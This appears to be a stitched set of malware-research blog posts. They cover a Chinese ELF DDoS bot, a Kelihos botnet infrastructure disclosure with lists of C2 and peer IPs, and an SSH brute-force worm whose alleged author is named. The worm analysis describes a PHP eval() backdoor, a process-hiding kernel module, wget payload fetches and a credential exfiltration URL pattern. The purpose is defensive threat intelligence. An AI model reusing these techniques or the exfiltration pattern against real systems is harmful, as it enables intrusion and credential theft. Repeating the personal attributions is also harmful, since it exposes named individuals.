More information that are interesting to dig: (1) The UDP opened port was meant to receive encoded data for being used as bot operational purpose, it has the decoder function (xref: 0x0804cce9) for that purpose. (2) This is a DDoS'er bot: the attack vectors is controlled by DealwithDDoS() main function, used are covering some basics and what they call it as "Cycle" SYN attack (will not going to discuss it "too" detail in here), as per listed below:

  TcpFloodThread ; send some tcp packets
  NormalSendThread ; socket connecting and flood
  NormalUdpPacketThread ; simple UDP connect and flood
  NormalSynPacketThread ; simulate SYN connection to flood
  NormalDnsSendThread ; connects & manipulates DNS search..not sure how to apply this
  CycleSynSendThread ; original made SYN attack
  SynSendThread_Old ;; // it's uncoded

So what this malware does? It's a backdoor (bind/listen to an opened port, callback & send information), it's a remote bot client for DDOS purpose, receiving commands via connected ports, a trojan downloader too (for updates purpose apparently..but who knows what can be expanded/applied more in here), and these are the major functionality of this malware.

Is it meant to be a tool as per stated in the disclaimer? No way. The way it decodes commands, the specific flood used, and the backdoor functions doesn't show any of good tool specification.

Who's the possible actor of this incident?

Could this be anotherChinaZ's new malware experiment? Why not. Judging by their development MO (leftover unwanted function uncoded instead eliminated them), copy pasting known other China ELF malware's functions, networking used and some of their typical typo, ASCII & symbols "china brand" are matched to some incidents of ChinaZ actors, we have strong possibility for it.

The ChinaZ group is also the most aggressive one in the market in research and development for the new trojan ddoser, they made new codes, buying other chinese ELF sources, contacting several C coders to combine functionality to make a better ELF bruter trojans, like this.

Epilogue: A DDoS'er with "Disclaimer" vs "Rule of Engagement"

We think the message used in "Disclaimer" part is an important aspect here. The coder is trying to bend the responsibility of what he coded by writing few lines to dodge from responsibility. This smells just as the same excuse used as previous ChinaZ coder spotted in the GitHub [link]. Below are the opinions from our team mates due to this "Disclaimer issue" that I think it is worth to share as opinions, and please feel free to tweet us your opinion to be added in this post.

"I believe in RoE - "Rules of engagement". It is super bad violation of RoE to use these tools against something you do not own, or have well and just cause to discharge against. The internet is not having a certain rules, just like a battlefield, and everyone is armed, or can potentially become armed. So discipline is utterly paramount to having a stable and peaceful internet. It is a major violation of RoE to use these tools against something you do not own or don't have a well and just cause to do so."@yinettesys

"Creating illegal tools remains illegal, even if you write "only for legal use". No matter "un-harmful" it is stated. This program is clearly meant to harm other host in internet. It's the same to forbid the creation of bombs but then normal people are creating some for "research use. This disclaimer is used by malware authors writing to dodge laws. "Don't use for illegal things"..words is bailing out and tacking the backdoor with "use only for legal purposes" which is never making any sense. It's just like you are admitting there that you actually know that actions performed by this tool is illegal but spread it anyway with making it public aka releasing it, and then a bad person using it.."@wirehack7

"The similar disclaimer for many DDoS tools is a trend now, specially in the DDoS related services or threat. And this malware coder is seeing how that disclaimer method is effective and just utilizing it. Hopefully our law can see how dangerous this tool it is by function explained in this analysis, and see by the real penetration/infection/attack that is currently distributed. There is no legality on its scheme. It is a malware with its complete malicious functions intact, and the malware coder has his own responsibility to build such aggressive software."@unixfreaxjp

Latest Memo:

All analysis was done (as usual) in FreeBSD unix shell with radare, only ELF skeleton that's using different scheme. Thank's to help/support from MMD ELF team mates, MMD folks and all malware fighter-brotherhood for motivating us to keep on posting.

Follow up:

@EmergingThreats@node5 friends, I am sending you all traffic pcaps of this new "KDefend" #ELF#botnet#malwarehttps://t.co/HaBZ875RpU

— ☩MalwareMustDie (@MalwareMustDie) December 4, 2015

@MalwareMustDie I'm opening a new repository for Linux/KDefend in https://t.co/X5acf609QShttps://t.co/n0aujyLlNQ cc: @Xylit0l@hFireF0X

— ☩MalwareMustDie (@MalwareMustDie) December 3, 2015

Please stay safe! #MalwareMustDie!

Background

Note: This is the modified post of the original post, sensitive data were censored for the "security reason". Please read "between the lines". I am sorry and thank you. - God bless them who read the codes - @unixfreaxjp Tue Dec 22 16:56:01 JST 2015

Most of fellow malware and botnet researchers in security communities know the term of "kelihos botnet". Many of us find it interesting to be studied. The botnet exists for a long time until now, and surviving many take down and disruption efforts, yet it is still in operation until now [link].

MalwareMustDie group has a "Kelihos Operation" in a small dedicated unit to research this threat and we tried to be responsible in disclosing the botnet malicious distribution scheme and its payloads in 2013, and we presented the talk about it at the BotConf in 2013 [link]. The team was following the threat ever since by tireless efforts to report and try to support regional jurisdiction to stop the botnet's further malicious activity. And believe me, MalwareMustDie is aiming a way further than just a whack-a-mole actions that some industries and researchers think we were, the disclosure that we had on the case, and this post is a proof of our hard work for it.

Even physical action(s) was conducted by law (with hat tips of the great work of GroupIB friends [link]) for the effort to end this "legacy" for good, the herder who is a notorious cyber criminal [link][link][link] knows how to bent the law, and is back on operation, with some improvement in the botnet itself.

In the Q3 and Q4 in this year there are strong distribution [link] of Kelihos binaries from several "major"Exploit Kits [link], implying the effort of the herder to expand the botnet. And following that time frame several botnet malicious campaigns were also started to be detected under a very short infection uptime and was carefully planned in aiming specific regional target on a specific operating system platform. Afterward, just recently. there are events of "disruption activities" was occurred in the botnet, which has boosted the botnet's access revocation, technical changes, updates on versions and security improvements to be better than before (i.e.in: domains, encryption, payloads, name servers & http services etc) without really reducing its P2P peers activity significantly, hence the botnet is still on operation but not as "greedy" like we've seen it before in 2012 and 2013.

The recent development is urging me on behalf of operation unit in our Kelihos team, to disclose as "responsible" as possible several new updates in information that maybe can be used and linked by law enforcement effort to build a new cyber criminal case for this well known bot herder.

We thanked gentlemen/ladies for the hard work they shared together in effort to stop the threat (this credit list is not only MMD members but contributors are included)

@VriesHd @Malwageddon @Set_Abominae @DhiaLite @malm0u53 @Xylit0l@ConradLongmore @s4n7h0 @essachin 
@sempersecurus @JC_SoCal @ChristiaanBeek @unixfreaxjp @lvdeijk @wirehack7 @wopot @kafeine

Kelihos FUD (Fully UnDetected) check scheme

Generally speaking: As this botnet concept is peer to peer, it uses encrypted communication one-to-one basis that redundantly connected to the targeted/instructed peers specified from the central command. The central pushes commands to the infected peers by working in rings of encryption layers, which is varied in encryption to each level, and the peers in each group can reply a pong in generic protocol in "a state" that can be notified by the highest central. This is a way of the botnet can be "steered" to aim specific territory like this example [link] and to launch a specific spam and/or traffic redirection campaigns (the example is in the next paragraph), or to avoid several networks, or"activated / deactivated" activities on some region. In this paragraph I am in purpose omitting various function details that the botnet has (dns/http/blacklist/p2p crypt/spam modules/etc etc).

As peering-functionality is important to the kelihos botnet. the herder is using a known FUD checking service to make sure the main botnet nodes is free from detection, with checking security industry's mitigation/protection signatures [link], by rapidly monitoring detection ratio of the: (1)Binary payloads, (2)IP addresses of Kelihos job server's and main communication peers, (3)and CNC hosts, (4)the web html pages contains javascript, installed in peers that is distributed for supporting several malicious operations (i.e.: click fraud, redirectors, malware infection, spam sites, etc). The herder never keeps the detection ratio high and only picking several important nodes in the botnet to have the lowest detection ratio as possible, and also trying very hard to keep the job servers and CNC of Kelihos to have detection score to be close to zero.

Kelihos is a botnet as service which is having its own function to spread its threat activity, mainly by spam email from its original spam module, which are controlled directly by the herder to aim to specific region(s) or by redirection scheme. Several scheme of recent distribution spotted in this functionality is as per following illustrations: [pump-and-dump] [malicious JS redirector] [URL link basis] [script spam] [pay per click] [regional targeted spam] etc (malware related spam can not be disclosed in here).

To be noted: There are top central operation servers which the herder operated separately and unlisted to the checks. Thus,the botnet is never involving CNC layer or upper layer directly to the distributional layer of the payload, but passing the "delivery" to the infected proxy peers (read: DHCP/ADSL infected PC connected to the internet behind the routers) which makes harder to proof its maliciousness, even though these upper layers nodes are having a very important role in steer malicious activity in the infected peers.

The checking scheme of the botnet peers is where actually the vector we used to dig up the connection to the source of the threat, so I will not have to disclose the domains, payloads, encryption, campaigns or other opsec related work details.

The Kelihos CNC in AS19318(US) at YYYYY(censored)

Inside of the category of (3) stated in above section, it was spotted CNC IP listed as per checked in a scheme below:

These are the IP registered to these two dedicated hosts: dsys417.server-1.biz and dsys418.server-1.biz as per checked below, physically located in New Jersey, United States.

{ "ip": "206.72.206.74-78",
"hostname": "dsys418.server-1.biz",
"ip": "66.45.241.130-134",
"hostname": "dsys417.server-1.biz",
"city": "Secaucus",
"region": "New Jersey",
"country": "US",
"loc": "40.7895,-74.0565",
"org": "AS19318 NEW JERSEY INTERNATIONAL INTERNET EXCHANGE LLC",
"postal": "07094" }

66.45.241.130|dsys417.server-1.biz.|19318 | 66.45.224.0/19 | (censored) | US | interserver.net | Interserver Inc
66.45.241.131||19318 | 66.45.224.0/19 | (cencored) | US | interserver.net | Interserver Inc
66.45.241.132||19318 | 66.45.224.0/19 | (cencored) | US | interserver.net | Interserver Inc
66.45.241.133||19318 | 66.45.224.0/19 | (cencored) | US | interserver.net | Interserver Inc
66.45.241.134||19318 | 66.45.224.0/19 | (cencored) | US | interserver.net | Interserver Inc
206.72.206.74|dsys418.server-1.biz|19318 | 206.72.192.0/20 | (cencored) | US | interserver.net | Interserver Inc
206.72.206.75||19318 | 206.72.192.0/20 | (cencored) | US | interserver.net | Interserver Inc
206.72.206.76||19318 | 206.72.192.0/20 | (cencored) | US | interserver.net | Interserver Inc
206.72.206.77||19318 | 206.72.192.0/20 | (cencored) | US | interserver.net | Interserver Inc
206.72.206.78||19318 | 206.72.192.0/20 | (cencored) | US | interserver.net | Interserver Inc

The checks are so important for these IPs on its two hosts, that the herder is running it in frequency of average 16 times per hour, in hourly basis, for each host, by using the remote API provided by the FUD check service for the purpose. As evidence I snipped a small portion as below:

To proof the solidity of the data presented, this original picture shows many authentic details:

Since the front end has payment records captured, it's not that difficult to know that the herder want to keep on doing this at least until the early of this December 2015 [link]

I think up to this point we are all agreed about the US basis 10(ten) IP addresses above are specifically checked by the kelihos herder for its FUD purpose, together with executable binaries of the botnet, the script saved in HTML files in the peers and other minor matters.
But then questions raised up: Who owns those IPs? How can Kelihos botnet herder get the US IP addresses from the first place? Is HE the same person as we announced in 2013?
The next section will be the disclosure of all the questions above plus the ownership information.

The herder data dug from these 10 IP

Before I went to BotConf in 2013, we (MalwareMustDie operations in Germany and Netherland) launched effort [link] [link] and we "paralized" their payload scheme↓ too -

#MalwareMustDie - #Kelihos#Botnet is Paralyzed now, snapshot 1 Russian infected IP is ZERO (pic) #MoronzISCryingHardpic.twitter.com/15NLbYzCJw

— ☩MalwareMustDie (@MalwareMustDie) December 2, 2013

It won't take long for the herder to quickly revive the botnet. And that was the time when the 10 IP described above was born. During the reviving period the bot herder was renting two dedicated servers from "regname.biz (owner of server-1.biz)" via QQQQQQ(cencored) service, and there is an evidence of payment request from the service to the herder and it looks like this:

If you are making an account of any hoster service, for them to contact you it will be needed the XXXXX(censored) data of yours. Apparently the XXXXX(censored) used for contact communication in arranging these servers are matched to the XXXXX(censored) registered as contact information in the FUD check system described above [link] that is connected to his main CNC for binary checking.

Well, okay, what is the proof that the 10 IP addresses are owned by a person who is using XXXXX(censored) too?
Let's see the explanation below...

Under a good legal cooperation the picture of the herder's rented dedicated server details in the XXXX(cencored) account can be achieved, in this service..in the billing history, the invoices shown in the last two transaction of renting servers are the first initiation payment done by the herder, as per seen in the previous data, see the invoice number and the contents which will be perfectly matched to what the payment request document also stated.

The two dedicated servers are keeping on renewal until at the time I wrote this post, one would find this evidence in the recent details like below in the system:

And these 10 IP addresses are the IP addresses of what two hosts are serving. Even though hoster system need to hover mouse/pointer to see these details, one can make the screenshot as per below to managed captured data as proof, these two hosts are the ones responsible to the 10 IP addresses in United states that was used by kelihos herder, under the same XXXXX(censored) contact account, which is obviously belong to the kelihos botnet herder.

As per every online basis system, the profile setting part is exists, and beyond any doubt one can see the same XXXXX(censored) is used, while accessing that part :-)

Who's is this herder? Not the same guy?

It is proven by this vector too that the herder is having the same ID that we presented in BotConf in 2013, unless you can say that this bot herder is sharing the XXXXX(censored) that is used to arrange dedicated servers of more than 15 IPs of CNC..and to check the FUD of the malware payload+IP ..to a common good public citizen that is "innocently" use the same XXXXX(censored), without being worry this "innocent man" will go to police to report all of the herder's crime.

And we thank you to the Shell Club Smart Russia database to help us in pointing the correct identification and location via (XXXXX/censored) of the person who is responsible of Kelihos malicious services like: malicious redirect, clickfraud, spams and malware infections behind the botnet. From this point it's the law enforcement matter to conduct the cyber crime investigation further.

The VERY important P2P peers IP, job servers IP and CNC IP of Kelihos

This is actually the most important part. Below is the list of the Kelihos upper infrastructure layer. I will not openly explain which IP is doing what. But for the safeness of our internet we suggest you strongly to neutralize the listed hosts and block them during the process. The 10 IP addresses listed above is included in the list. The list is sorted one since 2013 until today. An IOC to share the list to each entities would be nice follow for this post. And if you need to have the historical basis data please contact us, with sending message in the comment as usual with stated yourself+entity email address. PS: There are many data can be shared to law enforcement only.

109.87.199.28|28.199.87.109.triolan.net.|13188 | 109.87.199.0/24 | BANKINFORM | UA | triolan.net | Content Delivery Network Ltd
118.160.178.92|118-160-178-92.dynamic.hinet.net.|3462 | 118.160.0.0/16 | HINET | TW | hinet.net | Data Communication Business Group
121.52.159.143|free-iub.edu.pk.|45773 | 121.52.159.0/24 | HECPERN-AS | PK | pern.pk | Pern-Pakistan Education & Research Network is an
126.48.37.45|softbank126048037045.bbtec.net.|17676 | 126.48.0.0/16 | GIGAINFRA | JP | softbankbb.co.jp | Japan Nation-Wide Network Of SoftBank BB Corp.
151.0.40.22||45025 | 151.0.40.0/21 | EDN | UA | lir.net.ua | Online Technologies LTD
159.224.159.161|161.159.224.159.triolan.net.|13188 | 159.224.158.0/23 | BANKINFORM | UA | triolan.net | Content Delivery Network Ltd
175.209.240.53||4766 | 175.208.0.0/13 | KIXS-AS | KR | kt.com | Korea Telecom
176.103.48.27||48031 | 176.103.48.0/20 | XSERVER-IP-NETWORK | UA | brindirect.com | PE Ivanov Vitaliy Sergeevich
176.103.54.73||48031 | 176.103.48.0/20 | XSERVER-IP-NETWORK | UA | brindirect.com | PE Ivanov Vitaliy Sergeevich
176.103.55.73||48031 | 176.103.48.0/20 | XSERVER-IP-NETWORK | UA | brindirect.com | PE Ivanov Vitaliy Sergeevich
176.61.167.245|cable-korisnici-Lukavac-245.167.61.176.BHB.BA.|57397 | 176.61.167.0/24 | BHB-CABLE-TV-BIH | AT | jm-data.at | JM-DATA GmbH
176.73.239.93||16010 | 176.73.128.0/17 | CAUCASUSONLINEAS | GE | caucasus.net | Caucasus Online Ltd.
176.73.248.151||16010 | 176.73.128.0/17 | CAUCASUSONLINEAS | GE | caucasus.net | Caucasus Online Ltd.
176.8.113.143|176-8-113-143-broadband.kyivstar.net.|15895 | 176.8.0.0/16 | KSNET | UA | kyivstar.ua | Kyivstar PJSC
176.8.70.239|176-8-70-239-lzv.broadband.kyivstar.net.|15895 | 176.8.0.0/16 | KSNET | UA | kyivstar.ua | Kyivstar PJSC
178.137.29.163|178-137-29-163-broadband.kyivstar.net.|15895 | 178.137.0.0/16 | KSNET | UA | kyivstar.ua | Kyivstar PJSC
178.54.39.16|unallocated.sta.synapse.net.ua.|29107 | 178.54.0.0/17 | SYNAPSE | UA | synapse.net.ua | Open JSC Stock Company Sater
186.115.146.227||3816 | 186.115.144.0/21 | COLOMBIA | CO | - | Rapidotolima
186.34.172.184||6535 | 186.34.0.0/16 | Telmex | CL | telmex.com | Telmex Chile S.A HFC
188.138.227.43|188-138-227-43.starnet.md.|31252 | 188.138.128.0/17 | STARNET | MD | starnet.md | StarNet S.R.L
193.126.181.18||2860 | 193.126.0.0/16 | NOS_COMUNICACOES | PT | nos.pt | Nos Comunicacoes S.A.
193.203.51.47||48031 | 193.203.48.0/22 | XSERVER-IP-NETWORK | UA | brindirect.com | PE Ivanov Vitaliy Sergeevich
193.28.179.38|hostby.isp4you.cz.|58146 | 193.28.179.0/24 | SVOD | RU | - | Svod ltd.
193.28.179.39|hostby.isp4you.cz.|58146 | 193.28.179.0/24 | SVOD | RU | - | Svod ltd.
193.28.179.40|hostby.isp4you.cz.|58146 | 193.28.179.0/24 | SVOD | RU | - | Svod ltd.
194.146.199.200||21261 | 194.146.196.0/22 | STELS | UA | nadolinskiy.dn.ua | Stels ISP Ltd
195.140.160.46||48964 | 195.140.160.0/22 | ENTERRA | UA | abcname.net | Datasfera LTD
195.18.14.96||196638 | 195.18.12.0/22 | PROMTELECOM | UA | promtele.com | OJSC Promtelecom
196.218.187.142|host-196.218.187.142-static.tedata.net.|8452 | 196.218.0.0/16 | TE | EG | tedata.net | TE Data
201.187.15.184||14117 | 201.187.0.0/20 | Telefonica | CL | telsur.cl | Telefonica del Sur S.A.
201.219.169.169|vm-customer-201-219-169-169.megacable.com.ar.|28015 | 201.219.169.0/24 | MERCO | AR | megacable.com.ar | Merco Comunicaciones
206.72.206.74||19318 | 206.72.192.0/20 | XXXX(cencored) | US | interserver.net | Interserver Inc
206.72.206.75||19318 | 206.72.192.0/20 | XXXX(cencored) | US | interserver.net | Interserver Inc
206.72.206.76||19318 | 206.72.192.0/20 | XXXX(cencored) | US | interserver.net | Interserver Inc
206.72.206.77||19318 | 206.72.192.0/20 | XXXX(cencored) | US | interserver.net | Interserver Inc
206.72.206.78||19318 | 206.72.192.0/20 | XXXX(cencored) | US | interserver.net | Interserver Inc
211.120.158.247|zaqd3789ef7.zaq.ne.jp.|9617 | 211.120.128.0/19 | ZAQ | JP | jcom.co.jp | J:COM West Co. Ltd.
212.55.75.70|212-55-75-70.dynamic-pool.kanev.mclaut.net.|25133 | 212.55.74.0/23 | MCLAUT | UA | mclaut.in.ua | LLC Mclaut-Invest
213.111.223.250|250.223-pool.nikopol.net.|44924 | 213.111.192.0/18 | MAINSTREAM | UA | nikopol.net | PP MainStream
219.124.22.175|c022175.net219124.cablenet.ne.jp.|9378 | 219.124.16.0/21 | CABLENET | JP | cablenet.ne.jp | Jcom Kawaguchitoda Co. Ltd.
31.131.122.246|cl122-246.dhcp.multinet.ua.|41871 | 31.131.112.0/20 | RTL | UA | multinet.ua | Locom LLC
37.1.200.161||50673 | 37.1.200.0/21 | SERVERIUS | NL | 3nt.com | 3nt solutions LLP
37.1.202.195||50673 | 37.1.200.0/21 | SERVERIUS | NL | 3nt.com | 3nt solutions LLP
37.1.203.237||50673 | 37.1.200.0/21 | SERVERIUS | NL | 3nt.com | 3nt solutions LLP
37.229.178.56|37-229-178-56-broadband.kyivstar.net.|15895 | 37.229.0.0/16 | KSNET | UA | kyivstar.ua | Kyivstar PJSC
46.118.63.149|SOL-FTTB.149.63.118.46.sovam.net.ua.|15895 | 46.118.0.0/15 | KSNET | UA | golden-telecom.com | Golden Telecom
46.160.115.217|46.160.115.217.format-tv.net.|6712 | 46.160.114.0/23 | FORMAT-TV | UA | maxnet.ua | Maxnet Telecom Ltd
46.219.55.66|46.219.55.66.freenet.com.ua.|31148 | 46.219.55.0/24 | FREENET | UA | freenet.com.ua | Freenet Ltd.
46.63.32.75|pool-46-63-32-75.x-city.ua.|51784 | 46.63.32.0/21 | X-CITY | UA | x-city.ua | X-City Ltd.
5.105.56.87|5-105-56-87.mytrinity.com.ua.|43554 | 5.105.0.0/16 | CDS | UA | mytrinity.com.ua | Cifrovye Dispetcherskie Sistemy
5.178.184.197||28751 | 5.178.128.0/18 | CAUCASUS-NET | GE | caucasus.net | Caucasus Online Ltd.
5.248.243.45|5-248-243-45-broadband.kyivstar.net.|15895 | 5.248.0.0/16 | KSNET | UA | kyivstar.ua | Kyivstar PJSC
66.45.241.130|dsys417.server-1.biz.|19318 | 66.45.224.0/19 | XXXX(cencored) | US | interserver.net | Interserver Inc
66.45.241.131||19318 | 66.45.224.0/19 | XXXX(cencored) | US | interserver.net | Interserver Inc
66.45.241.132||19318 | 66.45.224.0/19 | XXXX(cencored) | US | interserver.net | Interserver Inc
66.45.241.133||19318 | 66.45.224.0/19 | XXXX(cencored) | US | interserver.net | Interserver Inc
66.45.241.134||19318 | 66.45.224.0/19 | XXXX(cencored) | US | interserver.net | Interserver Inc
77.109.23.44|77-109-23-44.dynamic.peoplenet.ua.|42396 | 77.109.20.0/22 | PPLNETUA | UA | 3gmobile.com.ua | PJSC Telesystems of Ukraine
77.121.44.40|dhcp-pool.net-77.121.44.host-40.sev.sevcable.net.|35680 | 77.121.32.0/19 | LINIATEL | UA | volia.net | Kyivski Telekomunikatsiyni Merezhi LLC
77.121.86.143|77-121-86-143.dynamic.kits.zp.ua.|25229 | 77.121.80.0/21 | VOLIA | UA | volia.net | Kyivski Telekomunikatsiyni Merezhi LLC
77.122.234.122|dynamic-77-122-234-122.ricona.net.ua.|25229 | 77.122.192.0/18 | VOLIA | UA | volia.net | Kyivski Telekomunikatsiyni Merezhi LLC
82.79.127.7|82-79-127-7.alexandria.rdsnet.ro.|8708 | 82.76.0.0/14 | RCS | RO | rdsnet.ro | RCS & RDS Business
89.137.97.166||6830 | 89.137.0.0/16 | LGI | AT | upcnet.ro | UPC Romania CLUJ-NAPOCA
89.185.30.21|CPE257021.tvcom.net.ua.|34092 | 89.185.24.0/21 | TVCOM | UA | tvcom.net.ua | TVCOM Ltd.
89.35.41.171|host-static-89-35-41-171.moldtelecom.md.|8926 | 89.35.40.0/21 | MOLDTELECOM | MD | moldtelecom.md | Societatea pe Actiuni Moldtelecom
89.41.38.24|24.38.41.89.panevo.ro.|35421 | 89.41.36.0/22 | PANELECTRO | RO | panevo.ro | SC Pan Electro SRL
93.177.178.40|host-93-177-178-40.customer.co.ge.|28751 | 93.177.160.0/19 | CAUCASUS-NET | GE | caucasus.net | Caucasus Online Ltd.
94.176.116.122|122.116.176.94.globnet.md.|48331 | 94.176.116.0/24 | GLOBNET | RO | globnet.md | S.C. Globnet S.R.L.
94.240.163.235||41232 | 94.240.160.0/19 | SSN | UA | flagman.zp.ua | TOV Flagman Telecom
94.76.78.20|94.76.78.20.freenet.com.ua.|31148 | 94.76.78.0/24 | FREENET | UA | freenet.com.ua | Freenet Ltd.
95.26.143.146|95-26-143-146.broadband.corbina.ru.|8402 | 95.26.0.0/15 | CORBINA | RU | beeline.ru | Beeline Broadband
95.65.55.6|95-65-55-6.starnet.md.|31252 | 95.65.0.0/17 | STARNET | MD | starnet.md | StarNet S.R.L

Follow up

With the good help from friends in EmergingThreat, the herder can kiss his botnet CNC traffic to its peers a goodbye from now on.

Epilogue

@MalwareMustDie "Whatever the LORD pleases, He does, In heaven and in earth, in the seas and in all deeps." Psalm 135:6

— ☩MalwareMustDie (@MalwareMustDie) December 21, 2015

This post is as a new additional "sin" for ↓this cyber crook↓ against our internet services.
Only a stupid fool like ↑this herder makes same mistakes over and over.

ZZZZZZZZZZZZZZZZZZ(censored).

The botherder closed the CNC servers disclosed in this post

If you have doubt of any truth stated in this post, see yourself the reaction of the botherder after we released this disclosure, the botherder had closed the account of the dedicated servers mentioned in this post (it was much more viewable before the censorship request received) in December 2015 after the original post was published online. Some PoC of this paragraph is the information below:

Good people always win against the badness. Because God above blessed us to think peacefully of some steps further than malicious cyber actors do.

#MalwareMustDie!

Background

Apparently Linux ELF malware is becoming an interesting attraction from several actors from People Republic of China(in short: PRC). This post is one good example about it. It explains also why myself, from my team (MMD), put many effort to study Linux executable malicious scheme came from that region recently, so does our colleges professional researchers in industry started to put serious effort for this specific threat fro this specific region.

The usage for Linux as the biggest backbone in our internet services, and its OS flexibility to support a lot of processor architecture has made Linux OS as a majority in market of embedded platform used in our the Internet of Things, from routers to television, from web camera to car control system. This fact has also attracted malware actors to overcome and conquer Linux with malicious usage from its system internals (kernel), its web services supported with various script programming, and vulnerabilities of its remote management access ; and this post is explaining these exploited aspects.

Today, one of my friends who is also focusing in monitoring ELF malware threatMr. Michal Malik was mentioning me an interesting ELF sample he spotted in VirusTotal:

The sample was uploaded from China mainland network in PRC to VirusTotal. It's a new undetected malware that raises my interest to check it, and this is where the story starts.

Malware's installer and its overall malicious scheme

The malware file (md5: dfc09aa4b5c7b49d804d2ce046defb60 [link]) is an x32 binary of a dynamically unstripped ELF structure with readable database. I urge to them who interest in ELF analysis to take a look at the sample directly while reading the following explanation as reference.

Together with its overall malicous scheme of this infection, I will explain the malware binary functionality. Let's start with the malware installation bash script first, please see the illustration of its installer code below:

Along with the set of accompanied malicious files, this ELF malware file (the sample) is downloaded from its download CNC hostvia an openly accessed HTTP protocol, and is being executed under "God Mode"777 permission as a daemon. The accompanied malware components files, are supposed to be a kernel module in C code and the binary build-compilation component Makefile file are also downloaded by the same method.

The installer will create the text of PHP script/code with a short commands (see the picture below) which means to extract the eval() value of whatever data sent (obviously via remote) by POST HTTP method to this malicious file "crack". In the end this "crack" code will be saved it in the web server's data directory of the victim's server with the filename of "crack.php". It's not careless to assume that via that posted eval() obviously a shell access can be gained to send activity or command this ELF malware action/daemon, or maybe more.. This is the backdoor process number one on how the malware and infected server can be remotely accessed and controlled by the attacker.

The malicious kernel module source code file, which is a copy-paste code from researchers that is very eager to share their malcodes online openly, will be compiled and inserted (insmod) to the victim's linux kernel. This is the kernel module to produce the invisibility of the malware process among server's processes, by manipulation technique in pid dir entry via Linux kernel's sys_call_table's hooks to avoid the administrator or (in some level) scanners or detection tool to spot the running malicious daemon. This kernel module is a copy paste from some classic PoC code with the very slight modification made by the actor adjusted to the daemon used in this threat. The picture below will explain a very limited view of the code:

There is a good question about this process hiding kernel mode that had been asked in reddit /r/Linux that I answered, I will share it here too here in following picture without showing its malicious code. It explains "a bit" about the kernel internals work of post process-hiding manipulation coded in this malware and explains ways to un-hidden it.

The point of concern here is the code to hack the sys_call_table entries like sys_call_table[SYS_getdents] in this case, for etc PoC purpose is so wide-spread openly, inspiring its usage for coding malware's .ko module like this case.

The malware binary will run with directly connect to download CNC host to retrieve a word list text file (with system shell command wget). Then retrieving the list of IP addresses data (with system shell command wget also) for the target list ; and parsed them to the connection checking function following with cracking attempt function contains commands of the SSH login attack process via two types of authentication : by plain text auth and keyboard auth basis ; to then using brute force attack with the user name which is set to variable value into "root" by hard coding default(It can be changed..) and the downloaded word list beforehand as SSH "password". Upon a matched password, the malware will gain access the shell of the targeted victim and execute a remote command below:

And will send return code "23333" to the crack main function to send the successfully cracked SSH credential to the download CNC via format:

%HOSTNAME%/sshv.php?out=%s&pass=%s

Noted in "different version", there is a deactivated code section explained an HTTP network beacon activity as per below request:

Protocol: "HTTP/1.1"
host: "city.ip138.com"
GET "/ip2city.asp"

I made a very rough sketch during the my reversing analysis to figure the overall concept of this malware, it's really a private sketch but may help you too to understand the above summary, as per illustration below.. please bear the paintbrush level of graphic, I don't have much time nor luxury to make a neat note.

Hmm.. I think I wrote the summary a bit too long.. I'm sorry about that..

The malicious verdict explained in reversing mode

In this section I will skip the static analysis of the binary form, for the tips/reference of how I conduct a dynamic link ELF binary please see the previous analysis of K-Defend malware [link], and I was doing about the same in this case too.

So right now, I will show some pointers of the functions described in the summary above in x32 Intel assembly reversed code, with some correlation in C language, this section is made for the purpose to Proof of Concept the verdict/evidence of this binary as per summarized in the above section. I am using only r2 my beloved platform for malware analysis, for this purpose. I might not cover the whole summary for the limited space and time, so you can feel free to confirm the details.

The starting main() function of the malware process, see how system (read: shell environment) was invoked by the wget commands which is used as per below:

The checking connection process was done using the ping command with capturing its stream result.

This is the function 0x0804A384 of what is named as sshgussing() function, which is the typo of the SSHGuessing I guess, explaining the brute SSH authentication session, with default "root" password used while feeding the passwords, it shows the remote shell command executed upon connection success,flagging the "crackz" pointer into 1, a success message shown afterwards and return value of "23333" in its decimal value:

The return value "23333" from sshgussing() function will trigger the malware to send the cracked IP address and password credential to the remote host CNC via wget to a PHP API file provided in the CNC host for that purpose:

To be clearly noted here: Referring to the description I wrote of the malware until this line, this malware is having another potentially dangerous function to self spread itself as a Worm to infect other host and to another host after that, without even the coder/herder/actor always in control for it, as wide ranged as the CNC target IP addresses listed, and as long as the CNC target file is available to be downloaded by the compromised(infected) server.. This is why I called this as a "nasty" malware in its design.

The threat's source

For the mitigation purpose herewith the network correlation of the threat:

1. The CNC host for download and credential panel API(in php) is served under hostname of "testzzzzzz.10g.me" which is located in IP as per below. (PS: I think the coder loves to add some "Z" in several keywords..:

;; QUESTION SECTION:
;testzzzzzz.10g.me.             IN      A

;; ANSWER SECTION:
testzzzzzz.10g.me.      3600    IN      A       93.188.160.78

;; AUTHORITY SECTION:
10g.me.                 3600    IN      NS      ns1.main-hosting.com.
10g.me.                 3600    IN      NS      ns2.main-hosting.com.

;; ADDITIONAL SECTION:
ns1.main-hosting.com.   3600    IN      A       31.170.163.241
ns2.main-hosting.com.   3600    IN      A       31.220.23.1

2. The first 3 IP addresses in sshv-service-rule are suspected belong to the actor(s) themself.

$ cat sshv-service-rule
#1
"178.62.163.229"
"101.229.[65-70].128"
"178.62.163.[228-231]"
10.10.10.*
10.[20-25].123.123

{
"ip": "178.62.163.[228-231]",
"hostname": "No Hostname",
"city": "Amsterdam",
"region": "North Holland",
"country": "NL",
"loc": "52.3740,4.8897",
"org": "AS200130 Digital Ocean, Inc.",
"postal": "1000"
}

The bad (kid) actor..

Obviously the actor, which is undoubtedly the coder of the kernel module of this malware according to the previous written codes, which he is not caring much off his privacy too, his name is spotted in the malware set of kernel module source code. Maybe he can code a bit in C and does some Linux operations & code some scripts, but this guy is an amateur if he is a crook.. NEVERTHELESS, undoubtedly, he was making a VERY nasty new approach of a bad ELF malware botnet and implementing it in our internet!! And for this, it has to be stopped!

A further investigation on the "ssh-service-rule" hosts is bumped to the identification of the "actor":

It doesn't take much time afterwards for our team to spot the actor's ID and his "project". To Jerry Xu in Shanghai, China. WE ARE ALL STARRING AT YOU NOW![removed][removed]! STOP playing with SSH hacking botnet!!

For further trace we found Jerry Xu's GitHub, it is in here-->[removed]
And in that Github his malware coding project with name of "Computer_System_Project" for this malware is also spotted afterward after analysis report was posted:

The "malware / virus project's" itinerary, deisgn and how to build it:

We will leave it to you all to think about the morality and educational aspect in using such malware for the "school project", I have a deep doubt about the supervising scheme for this project too actually. But, one thing for sure is, when Michal and myself sees the binary of this bot client, we see it as a dangerous ELF malware. A further check that we are doing is showing that the malware actor himself was uploading the malware binary to the VirusTotal for the possible purpose to check its detection ratio..
Well, as a "school project" they really are getting a bit out of hand here, isn't it?

